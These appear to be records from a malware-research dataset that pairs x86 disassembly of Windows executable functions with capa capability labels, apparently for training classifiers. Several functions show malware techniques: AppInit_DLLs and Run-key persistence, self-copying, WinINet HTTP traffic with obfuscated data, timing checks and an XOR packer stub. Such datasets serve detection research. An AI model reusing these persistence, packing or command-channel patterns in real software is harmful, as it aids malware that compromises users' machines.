joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4084e9
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 7
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
je 0x40857d
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x408574
cmp dword [ebp - 8], edi
jne 0x408574
mov eax, dword [ebp - 0xc]
cmp eax, edi
mov dword [esi + 4], eax
jne 0x408533
mov dword [esi], edi
mov al, 1
jmp 0x40857f
push 4
push 0x3000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, edi
mov dword [esi], eax
je 0x408574
push edi
lea ecx, [ebp - 4]
push ecx
push dword [esi + 4]
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x408566
mov eax, dword [ebp - 4]
cmp eax, dword [esi + 4]
je 0x40852f
push 0x8000
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
leave
ret

Function at 0x4085b4
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea ecx, [ebp - 8]
push ecx
push 1
push 0
push dword [ebp + 8]
mov dword [ebp - 8], eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4085f1
mov eax, dword [ebp + 0x10]
add eax, eax
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
lea esi, [ebp - 8]
call fcn.00408582
add esp, 0x10
mov ebx, eax
jmp 0x4085f4
or ebx, 0xffffffff
cmp ebx, 0xffffffff
je 0x40866a
test bl, 1
jne 0x40866a
cmp dword [ebp - 4], 1
je 0x40860a
cmp dword [ebp - 4], 2
jne 0x40866a
xor ecx, ecx
cmp ebx, ecx
jne 0x408615
mov word [edi], cx
jmp 0x408666
shr ebx, 1
dec ebx
mov eax, ebx
cmp word [edi + eax*2], cx
je 0x40862c
inc eax
cmp dword [ebp + 0x10], eax
jbe 0x40866a
mov word [edi + eax*2], cx
mov ebx, eax
cmp eax, 2
jbe 0x408666
cmp dword [ebp - 4], 2
jne 0x408666
push edi
call fcn.0040c025
mov esi, eax
test esi, esi
pop ecx
je 0x408653
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x408656
or ebx, 0xffffffff
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
jmp 0x40866d
or eax, 0xffffffff
pop esi
pop ebx
leave
ret
Function at 0x408729
Capabilities:
Delete file
Persist via appinit_dlls registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 1
xor esi, esi
push esi
mov ebx, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push ebx
mov edi, 0x80000002
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40876f
lea eax, [ebp - 0x804]
push eax
push str.AppInit_DLLs
lea esi, [ebp - 4]
call fcn.004069bd
pop ecx
pop ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
jne 0x40877d
xor eax, eax
jmp 0x4087b2
lea eax, [ebp - 0x804]
push eax
call fcn.0040544e
cmp eax, 4
pop ecx
jbe 0x4087a7
push 1
push 0x40ea50
push str.AppInit_DLLs
push ebx
push edi
call fcn.004069fa
add esp, 0x14
jmp 0x4087b2
push str.C:WINDOWS_system32gbdwpbm.dll
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409da8
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040d600
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x409dc8
push dword [ebp + 0xc]
call fcn.0040544e
pop ecx
jmp 0x409dca
xor eax, eax
push edi
push 0x4400000
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x409dee
xor eax, eax
jmp 0x409f00
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, 0x2001
push esi
push eax
push edi
mov dword [ebp - 0xc], eax
mov dword [ebp + 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp byte [esi], 0
jne 0x409e6a
xor eax, eax
jmp 0x409efe
mov eax, dword [ebp - 8]
test eax, eax
je 0x409e88
cmp dword [ebp + 0xc], eax
mov byte [ebp + eax - 0x1010], 0
ja 0x409e4c
mov eax, dword [ebp - 0xc]
add dword [ebp + 0xc], eax
add eax, eax
push eax
push esi
push 0
mov dword [ebp - 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
test esi, esi
je 0x409e13
push dword [ebp - 8]
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + edi]
push eax
call fcn.0040c620
mov eax, dword [ebp - 8]
sub dword [ebp + 0xc], eax
add esp, 0xc
add edi, eax
lea eax, [ebp - 8]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
je 0x409e1a
lea eax, [edi + edi + 2]
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
jne 0x409ea6
and dword [ebp - 4], eax
jmp 0x409eef
and dword [ebp + 0xc], 0
test esi, esi
mov dword [ebp - 4], 1
mov byte [esi + edi], 0
mov ecx, eax
je 0x409ee5
test edi, edi
jbe 0x409ee5
and word [ecx], 0
test edi, edi
jbe 0x409ee5
mov edx, dword [ebp + 0xc]
movzx dx, byte [edx + esi]
mov word [ecx], dx
mov edx, dword [ebp + 0xc]
cmp byte [edx + esi], 0
je 0x409ee5
inc dword [ebp + 0xc]
inc ecx
inc ecx
cmp dword [ebp + 0xc], edi
jb 0x409ec7
and word [eax + edi*2], 0
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop edi
leave
ret
Function at 0x409f03
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040d600
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.0040550e
lea eax, [ebp - 0x210]
push eax
call fcn.0040544e
xor ebx, ebx
push 0x4246d8
mov word [ebp + eax*2 - 0x212], bx
call fcn.0040544e
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040bf3f
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x409f9d
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x409f89
dec edx
je 0x409f81
dec edx
jne 0x409f8f
add ecx, 0xfffe
jmp 0x409f8f
add ecx, 0xfffb
jmp 0x409f8f
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x409f5a
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4114d4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x409fc0
xor eax, eax
jmp 0x40a035
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push dword [ebp + 8]
push 0x40f0a8
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x409fbc
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
call fcn.0040be8f
cmp edi, ebx
pop ecx
je 0x409fbc
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
cmp esi, ebx
je 0x40a033
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1210], bl
mov ebx, dword [ebp + 0x10]
lea ecx, [ebp - 0x1210]
call fcn.0040bf8a
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40a03a
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x24
push 0x40f6f0
call fcn.0040d2a8
and dword [ebp - 4], 0
call fcn.0040584a
movzx ecx, cl
inc ecx
cdq
idiv ecx
mov esi, edx
movzx eax, byte [ebp + 8]
add esi, eax
imul esi, esi, 0x3e8
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, eax
call edi
sub eax, ebx
cmp eax, esi
jae 0x40a0b6
push 1
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a097
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40a076
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40a06e
or dword [ebp - 4], 0xffffffff
call fcn.0040d2e3
ret
Function at 0x40a0c0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x40f6e0
call fcn.0040d2a8
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40a13f
cmp word [ebp - 0x1c], 0xffff
jne 0x40a13f
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40a15a
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a120
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40a101
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x4286e0]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40a15a
jmp 0x40a0e2
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40a160
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040d2e3
ret

Function at 0x40a265
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x411094], 0
push ebx
push esi
push edi
mov ebx, eax
jne 0x40a285
call fcn.0040a1c4
test eax, eax
mov dword [ebp - 8], eax
jne 0x40a297
mov esi, ebx
call fcn.0040a166
test eax, eax
mov dword [ebp - 8], eax
je 0x40a34c
push str.eventConn
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebx]
mov edx, dword [ecx]
sub esp, 0x10
mov edi, esp
mov word [ebp - 0x18], 3
mov dword [ebp - 0x10], 1
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x88]
mov eax, dword [ebx]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x94]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x40a333
push esi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x40a2f7
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x10
push dword [0x415268]
mov eax, 0x1388
push dword [0x4201b0]
push eax
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebx]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0xf0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a578
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
test eax, eax
push ebx
push esi
push edi
jne 0x40a59a
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov edi, dword [eax + 0x4286e8]
mov dword [ebp - 4], edi
jmp 0x40a59f
mov dword [ebp - 4], eax
mov edi, eax
movzx esi, byte [ebp + 8]
imul esi, esi, 0x14
xor ebx, ebx
inc ebx
test dword [esi + 0x4286ec], edi
je 0x40a602
cmp edi, ebx
jne 0x40a5e6
cmp dword [0x4286dc], ebx
jne 0x40a606
mov eax, dword [esi + 0x4286e0]
test eax, eax
je 0x40a606
mov ecx, dword [eax]
lea edx, [ebp + 8]
push edx
push eax
call dword [ecx + 0xa0]
test eax, eax
jge 0x40a5fe
and dword [esi + 0x4286e0], 0
and dword [esi + 0x4286ec], 0xfffffffe
cmp edi, 2
jne 0x40a602
xor eax, eax
cmp dword [esi + 0x4286e4], eax
jne 0x40a5fe
and dword [esi + 0x4286ec], 0xfffffffd
jmp 0x40a63f
mov eax, ebx
jmp 0x40a673
cmp edi, ebx
jne 0x40a638
lea edi, [esi + 0x4286e0]
mov eax, edi
call fcn.0040a265
cmp dword [0x4286dc], ebx
mov dword [ebp - 8], eax
jne 0x40a632
test eax, eax
je 0x40a632
mov edi, dword [edi]
mov eax, dword [edi]
push edi
call dword [eax + 4]
or dword [esi + 0x4286ec], ebx
jmp 0x40a670
and dword [edi], 0
mov edi, dword [ebp - 4]
cmp edi, 2
jne 0x40a670
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 0x4286e4], eax
je 0x40a670
push 4
lea ecx, [ebp + 8]
push ecx
push 0x41
push eax
mov dword [ebp + 8], ebx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
or dword [esi + 0x4286ec], 2
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40accf
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
push 1
push 0
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x40ad0f
push dword [ebp + 8]
lea esi, [ebp - 4]
push 0x41a648
call fcn.004069bd
test eax, eax
pop ecx
pop ecx
jne 0x40ad3d
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebx
push 0x80000002
call edi
test eax, eax
je 0x40ad2b
xor eax, eax
jmp 0x40ad3d
push dword [ebp + 8]
lea esi, [ebp - 4]
push 0x41a648
call fcn.004069bd
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b3ef
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Persist via run registry key
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1808
call fcn.0040d600
push esi
push edi
call fcn.00407f79
mov edi, 0x420a30
push edi
xor esi, esi
push esi
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
test eax, eax
je 0x40b42d
push 4
push esi
push 3
call fcn.0040a895
add esp, 0xc
call fcn.0040b37c
call fcn.0040ac0a
test eax, eax
jne 0x40b428
call fcn.0040ac72
test eax, eax
je 0x40b4a4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push esi
push 9
call fcn.0040a895
add esp, 0xc
push 0x400
lea eax, [esp + 0x1014]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x10]
push eax
call fcn.0040accf
test eax, eax
pop ecx
je 0x40b4a4
push esi
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1018]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b4a4
lea eax, [esp + 0x10]
push eax
call fcn.00407927
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [esp + 0x810]
push eax
call fcn.0040787e
test eax, eax
pop ecx
je 0x40b428
lea eax, [esp + 0x810]
push eax
call fcn.00407927
test eax, eax
pop ecx
je 0x40b554
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 1
lea eax, [esp + 0x814]
push eax
push 0x41a648
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.004069fa
add esp, 0x14
test eax, eax
je 0x40b53c
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
or dword [esp + 0xc], 0xffffffff
push esi
push esi
push esi
mov edi, eax
push esi
lea eax, [esp + 0x18]
push eax
push edi
mov dword [esp + 0x20], 0xdc3cba00
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40b49d
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040a895
add esp, 0xc
jmp 0x40b49d
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
call fcn.0040a895
add esp, 0xc
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40cdb6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40cdc0
repz ret
jmp fcn.0040d05b
Function at 0x100b58b0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100ecf98
push 0x100b9280
mov eax, dword fs:[0]
push eax
sub esp, 0x134
mov eax, dword [0x100ef018]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x13c], edx
push ecx
push str..PhysicalDrive_d
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
push 3
push 0
push 3
push 0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x140], esi
cmp esi, 0xffffffff
je 0x100b5a57
mov dword [ebp - 0x124], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x134], xmm0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x128], 0
push 0
lea eax, [ebp - 0x138]
push eax
push 8
lea eax, [ebp - 0x134]
push eax
push 0xc
lea eax, [ebp - 0x12c]
push eax
push 0x2d1400
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x100b598f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100b5a57
push dword [ebp - 0x130]
call fcn.100b7ea1
mov edi, eax
mov dword [ebp - 0x144], edi
push dword [ebp - 0x130]
push 0
push edi
call fcn.100b99d0
add esp, 0x10
push 0
lea eax, [ebp - 0x138]
push eax
push dword [ebp - 0x130]
push edi
push 0xc
lea eax, [ebp - 0x12c]
push eax
push 0x2d1400
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x100b5a47
mov eax, dword [edi + 0x18]
test eax, eax
je 0x100b5a47
mov dword [ebp - 4], 0
add eax, edi
push eax
push 0x100
push dword [ebp - 0x13c]
call fcn.100bf2ed
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.100b7eaa
add esp, 4
mov dword [ebp - 4], 0xfffffffe
mov al, 1
jmp 0x100b5a59
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.100b7eaa
add esp, 4
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.100b7755
mov esp, ebp
pop ebp
ret

Function at 0x100c8c70
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100c8ae6

Function at 0x100ce1bd
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100cde3a
Function at 0x448b7b
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x448ba9
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x448bc7
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00448ae5
jmp 0x448bc7
mov eax, dword [esi + 0x14]
test eax, eax
je 0x448bc7
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00448ae5
test edi, edi
mov eax, edi
jne 0x448bb1
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x5736ec]
test ecx, ecx
je 0x448c7a
jmp 0x448b7a
ret 8
Function at 0x406975
Capabilities:
Encode data using xor

Disassembly:
call fcn.0040686c
mov ecx, 0x1d3
call 0x406975
rcr dword [esi + 0x30], 0x4c
push cs
pop es
xor byte [esi + ecx + 7], cl
loop 0x406978
ljmp 0x16b6:0xda8d5821
Function at 0x430001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax - 0x6f6f9f70], dl
nop
nop
pushal
nop
nop
pushal
nop
nop
nop
mov eax, section..pdata
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x41b34b75
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42ffdf
nop
mov eax, section..pdata_1
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x53ef1374
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00409c90
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00409c90
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00409c90
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00409c90
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00409c90
mov dword [0x41203c], eax
call fcn.00409c90
test eax, eax
jge 0x402550
push 8
call fcn.00409c90
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00409c90
pop ecx
push 1
call fcn.00409c90
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00409c90
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00409c90
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00409c90
jmp 0x402495